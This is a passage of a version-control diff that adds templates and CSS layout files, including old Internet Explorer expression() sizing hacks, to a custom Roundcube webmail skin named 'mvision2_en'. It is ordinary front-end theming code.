--- skins/mvision2_en/templates/printmessage.html	(revision 0)
+++ skins/mvision2_en/templates/printmessage.html	(revision 0)
@@ -0,0 +1,18 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<link rel="stylesheet" type="text/css" href="/print.css" />
+</head>
+<body>
+
+<div id="header"><img src="/images/roundcube_logo_print.png" width="182" height="50" alt="RoundCube Webmail" /></div>
+
+<div id="messageframe">
+<roundcube:object name="messageHeaders" class="headers-table" cellspacing="0" cellpadding="2" />
+<roundcube:object name="messageAttachments" id="attachment-list" />
+<roundcube:object name="messageBody" id="messagebody" showImages="false" />
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/settings.html
===================================================================
--- skins/mvision2_en/templates/settings.html	(revision 0)
+++ skins/mvision2_en/templates/settings.html	(revision 0)
@@ -0,0 +1,27 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/settings.css" />
+</head>
+<body>
+
+<roundcube:include file="/includes/taskbar.html" />
+<roundcube:include file="/includes/header.html" />
+<roundcube:include file="/includes/settingstabs.html" />
+
+<div id="userprefs-box">
+<div id="userprefs-title"><roundcube:label name="userpreferences" /></div>
+
+<div style="padding:15px; background-color: #ffffff;">
+<roundcube:object name="userprefs">
+
+<p><br /><roundcube:button command="save" type="input" class="button" label="save" /></p>
+</div>
+</div>
+
+<roundcube:include file="/includes/settingscripts.html" />
+
+</body>
+</html>
Index: skins/mvision2_en/templates/showcontact.html
===================================================================
--- skins/mvision2_en/templates/showcontact.html	(revision 0)
+++ skins/mvision2_en/templates/showcontact.html	(revision 0)
@@ -0,0 +1,19 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title><roundcube:object name="pagetitle" /></title>
+<roundcube:include file="/includes/links.html" />
+<link rel="stylesheet" type="text/css" href="/addresses.css" />
+</head>
+<body class="iframe">
+
+<div id="contact-title" class="boxtitle"><roundcube:object name="contactdetails" part="name" /></div>
+
+<div id="contact-details">
+<roundcube:object name="contactdetails" />
+
+<p><br /><roundcube:button command="edit" type="input" class="button" label="editcontact" condition="!ENV:readonly" /></p>
+</div>
+
+</body>
+</html>
Index: skins/mvision2_en/templates/vertical.css
===================================================================
--- skins/mvision2_en/templates/vertical.css	(revision 0)
+++ skins/mvision2_en/templates/vertical.css	(revision 0)
@@ -0,0 +1,30 @@
+@CHARSET "UTF-8";
+#mailcontframe
+{
+  position: absolute;
+  top: 85px;
+  left: 181px;
+  right: 0px;
+  bottom: 40px;
+  padding-bottom: 1px;
+  border-bottom: 1px solid #bcccda;
+  background-color: #ffffff;
+  overflow: auto;
+  /* css hack for IE */
+  width: expression((parseInt(document.documentElement.clientWidth)-230)+'px');
+  height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');
+}
+
+#mailpreviewframe
+{
+  position: absolute;
+  top: 305px;
+  left: 180px;
+  right: 0px;
+  bottom: 40px;
+  border: 1px solid #BCCCDA;
+  background-color: #ffffff;
+  /* css hack for IE */
+  width: expression((parseInt(document.documentElement.clientWidth)-230)+'px');
+  height: expression((parseInt(document.documentElement.clientHeight)-135-document.getElementById('mailcontframe').offsetHeight)+'px');
+}
\ No newline at end of file
Index: skins/mvision2_en/vertical.css
===================================================================
--- skins/mvision2_en/vertical.css	(revision 0)
+++ skins/mvision2_en/vertical.css	(revision 0)
@@ -0,0 +1,57 @@
+#mailcontframe {position: absolute;top: 85px;left:180px;width:315px;bottom:40px;border: 1px solid #BCCCDA;background-color:#ECF1F5;overflow: auto;overflow-x:hidden;/* css hack for IE */
+height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');
+}
+#mailpreviewframe {position: absolute;top:0;left: 510px;right: 0px;bottom: 40px;border: 1px solid #BCCCDA;/* css hack for IE */left: expression('514px');height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');}
+#messagecontframe{position: absolute;height:100%;}
+#mailviewsplittervertical {background: url(images/dimple.png) no-repeat center;background-position:4px center;width:8px;cursor:col-resize;}
+#messagelist thead tr{height:18px;padding:5px 22px 2px 13px;}
+body.messagelist {background-color:#ECF1F5;}
+#messagelist {display: block;width: 100%;  /* css hack for IE */  width: expression(document.getElementById('mailcontframe').clientWidth);}
+#messagelist thead tr td.sortedASC, 
+#messagelist thead tr td.sortedDESC {}
+#messagelist thead tr td.sortedASC a {background: url(images/sort_asc.png) top right no-repeat;}
+#messagelist thead tr td.sortedDESC a {background: url(images/sort_desc.png) top right no-repeat;}
+#messagelist col {display: table-column;text-align: left;vertical-align: middle;}/* thead data fields */
+#messagelist thead {display: block;position: relative;width: 100%;/*ie*/  right:0px;}
+#messagelist thead tr {display: block;position: relative;font-weight: bold;}
+#messagelist thead tr td {/*display: block;*/  position: absolute;}
+#messagelist thead tr {background-image: url('images/listheader_aqua.png');}
+#messagelist thead tr td.icon {right: 0;width: 16px;}
+#messagelist thead tr td.icon:first-child {left: 0;}
+#messagelist thead tr td.subject {position:absolute;top:-1000px;left: 10px;width: 50px;overflow: hidden;}
+#messagelist thead tr td.size {right: 18px;width: 58px;text-align: center;}
+#messagelist thead tr td.from, 
+#messagelist thead tr td.to {left: 7px;right: 117px;}
+#messagelist thead tr td.from a, 
+#messagelist thead tr td.to a {position:relative;font-weight:bold;}
+#messagelist thead tr td.date {right: 24px;width: 65px;vertical-align: middle;}
+#messagelist thead tr td.date a {padding-left:10px;position:relative;}/* tbody data fields */
+#messagelist {display: block;}
+#messagelist tbody {display: block;width: 100%;}
+#messagelist tbody tr {height: 3.4em;display: block;width: 100%;position: relative;cursor: pointer;}
+#messagelist tbody tr td {border-top:1px solid #eae9e1;}
+#messagelist tbody tr td {margin: 0;padding: 0;display: block;position: absolute;height: 1.3em;font-size: 11px;overflow: hidden;white-space: nowrap;text-overflow: ellipsis;cursor: pointer;}
+#messagelist tbody tr td a {text-decoration: none;}
+#messagelist tbody tr td.icon {z-index: 999;bottom: 0;right: 0;top:0;padding-left:3px;width: 20px;height: 3.4em;bottom: 0;vertical-align: middle;text-align:center;background:none;/* css hack for IE */  height: expression('2.6em');/*left: expression((parseInt(document.getElementById('messagelist').clientWidth)-50)+'px');*/}
+#messagelist tbody tr td.icon:first-child {width: 28px;left: 0;/* css hack for IE */  width: expression('26px');}
+#messagelist tbody tr td.icon img {position: absolute;top: 2px;right:0;z-index:6000;}
+#messagelist tbody tr td.icon:first-child img {position: relative;margin:11px 3px 0 0px;}
+#messagelist tbody tr td.subject {z-index:2000;left: 30px;bottom: 5px;right: 0px;padding: 4px 5 0 0;color:#808080;margin-right:5px;border:none;line-height:16px;overflow:hidden;  /* css hack for IE */  width: expression((parseInt(document.getElementById('messagelist').clientWidth)+9999)+'px');/*overflow:hidden; doesn't work*/}
+#messagelist tbody tr td.subject a {color:#808080;font-size:11px;border:none;}
+#messagelist tbody tr td.size {right: 0;padding-right: 20px;bottom: 0;width: 56px;text-align: right;border-bottom: 1px solid #EBEBEB;}
+#messagelist tbody tr td.from, 
+#messagelist tbody tr td.to {position: absolute;left: 30px;padding:4px 0;right: 106px;   /* css hack for IE */  width: expression((parseInt(document.getElementById('messagelist').clientWidth)+9999)+'px');/*to solve ie's lack of support for overflow:hidden;*/}
+#messagelist tbody tr td.date {width: 110px;right: 0px;color:#888;font-size:11px;overflow:hidden;text-align:right;margin-right:6px;padding:4px 14px 0 0;}
+#messagelist tr.message {background-color:#FFFFFF;top:-2px;}
+#messagelist tr.odd {background-color:#ECF1F5;top:-2px;}
+#messagelist tr.unread {font-weight: bold;background-color:#FFFFFF;}
+#messagelist tr.selected, 
+#messagelist tr.selected td {}
+#messagelist tr.selected {background-color:#E0E8EF;border:1px dotted #BCCCDA;width:100%;right:0;z-index:4000;}
+#messagelist tbody tr.selected td {border:none;}
+#messagelist tr.unfocused, 
+#messagelist tr.unfocused td {color:#FFFFFF;}
+#messagelist tr.unfocused {background-color:#8AAACA;}
+#messagelist tr.deleted td a {color:#BCCCDA;}
+#messagelist tr.deleted td, 
+#messagelist tr.deleted td a {color:#BCCCDA;}
Index: skins/mvision2_en/vertical_ie8.css
===================================================================
--- skins/mvision2_en/vertical_ie8.css	(revision 0)
+++ skins/mvision2_en/vertical_ie8.css	(revision 0)
@@ -0,0 +1,55 @@
+#mailcontframe {position: absolute;top: 85px;left:180px;width:315px;bottom:40px;border: 1px solid #BCCCDA;background-color:#fafafa;overflow: auto;overflow-x:hidden;/* css hack for IE */
+height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');
+}
+#mailpreviewframe {position: absolute;top:0;left: 510px;right: 0px;bottom: 40px;border: 1px solid #BCCCDA;/* css hack for IE */left: expression('514px');height: expression((parseInt(document.documentElement.clientHeight)-125)+'px');}
+#messagecontframe{position: absolute;height:100%;}
+#mailviewsplittervertical {background: url(images/dimple.png) no-repeat center;background-position:4px center;width:8px;cursor:col-resize;}
+#messagelist thead tr{height:18px;padding:5px 22px 2px 13px;}
+body.messagelist {background-color:#ECF1F5;}
+#messagelist {display: block;width: 100%;  /* css hack for IE */  width: expression(document.getElementById('mailcontframe').clientWidth);}
+#messagelist thead tr td.sortedASC, 
+#messagelist thead tr td.sortedDESC {}
+#messagelist thead tr td.sortedASC a {background: url(images/sort_asc.png) top right no-repeat;}
+#messagelist thead tr td.sortedDESC a {background: url(images/sort_desc.png) top right no-repeat;}
+#messagelist col {display: table-column;text-align: left;vertical-align: middle;}/* thead data fields */
+
+
+#messagelist thead tr {background-image: url('images/listheader_aqua.png');}
+#messagelist thead tr td {display:block;height:22px}
+#messagelist thead tr td.icon {right: 0;width: 14px;}
+#messagelist thead tr td.subject {position:absolute;top:-1000px;left: 10px;width: 50px;overflow: hidden;}
+#messagelist thead tr td.size {right: 18px;width: 58px;text-align: center;}
+#messagelist thead tr td.from, 
+#messagelist thead tr td.to {left: 7px;right: 117px;}
+#messagelist thead tr td.from a, 
+#messagelist thead tr td.to a {position:relative;font-weight:bold;}
+#messagelist thead tr td.date {right: 24px;width: 65px;vertical-align: middle;}
+#messagelist thead tr td.date a {padding-left:10px;position:relative;}/* tbody data fields */
+#messagelist {display: block;}
+#messagelist tbody {display: block;width: 100%;}
+#messagelist tbody tr {height:38px;display: block;width: 100%;cursor: pointer;}
+#messagelist tbody tr td {margin: 0;padding: 0;display: block;position: absolute;height: 45px;font-size: 11px;overflow: hidden;white-space: nowrap;cursor: pointer;}
+#messagelist tbody tr td a {text-decoration: none;}
+#messagelist tbody tr td.icon {z-index: 999;bottom: 0;right: 0;top:0;padding-left:0px;width: 20px;height: 10px;bottom: 0;vertical-align: middle;text-align:center;background:none;/* css hack for IE */  height: expression('2.6em');/*left: expression((parseInt(document.getElementById('messagelist').clientWidth)-50)+'px');*/}
+#messagelist tbody tr td.icon:first-child {width: 28px;left: 0;/* css hack for IE */  width: expression('26px');}
+#messagelist tbody tr td.icon img {position: absolute;top: 2px;right:0;z-index:6000;}
+#messagelist tbody tr td.icon:first-child img {position: relative;margin:11px 3px 0 0px;}
+#messagelist tbody tr td.subject {z-index:2000;left: 30px;right: 0px;padding: 10px 5px 0 0;color:#808080;margin-right:5px;border:none;line-height:36px;overflow:hidden;  /* css hack for IE */  width: expression((parseInt(document.getElementById('messagelist').clientWidth)+9999)+'px');/*overflow:hidden; doesn't work*/}
+#messagelist tbody tr td.subject a {color:#808080;font-size:11px;border:none;}
+#messagelist tbody tr td.size {right: 0;padding-right: 20px;bottom: 0;width: 56px;text-align: right;border-bottom: 1px solid #EBEBEB;}
+#messagelist tbody tr td.from, 
+#messagelist tbody tr td.to {position: absolute;left: 30px;padding:4px 0;right: 106px;   /* css hack for IE */  width: expression((parseInt(document.getElementById('messagelist').clientWidth)+9999)+'px');/*to solve ie's lack of support for overflow:hidden;*/}
+#messagelist tbody tr td.date {width: 110px;right: 0px;color:#888;font-size:11px;overflow:hidden;text-align:right;margin-right:6px;padding:4px 14px 0 0;}
+#messagelist tr.message {background-color:#FFFFFF;top:-2px;}
+#messagelist tr {background-color:#ECF1F5;top:-2px;width:1000px;}
+#messagelist tr.unread {font-weight: bold;background-color:#FFFFFF!important;}
+#messagelist tr.selected, 
+#messagelist tr.selected td {}
+#messagelist tr.selected {background-color:#E0E8EF;border:1px dotted #BCCCDA;width:100%;right:0;z-index:4000;}
+#messagelist tbody tr.selected td {border:none;}
+#messagelist tr.unfocused, 
+#messagelist tr.unfocused td {color:#FFFFFF;}
+#messagelist tr.unfocused {background-color:#8AAACA;}
+#messagelist tr.deleted td a {color:#BCCCDA;}
+#messagelist tr.deleted td, 
+#messagelist tr.deleted td a {color:#BCCCDA;}
Index: skins/mvision2_en/watermark.html
===================================================================
--- skins/mvision2_en/watermark.html	(revision 0)
+++ skins/mvision2_en/watermark.html	(revision 0)
@@ -0,0 +1,12 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+</head>
+<body style="background-color:#ffffff; margin: 0px;">
+
+<div style="margin: 0px; text-align:center;">
+<img src="images/contacts.jpg" width="507" height="425" alt="" />
+</div>
+
+</body>
+</html>

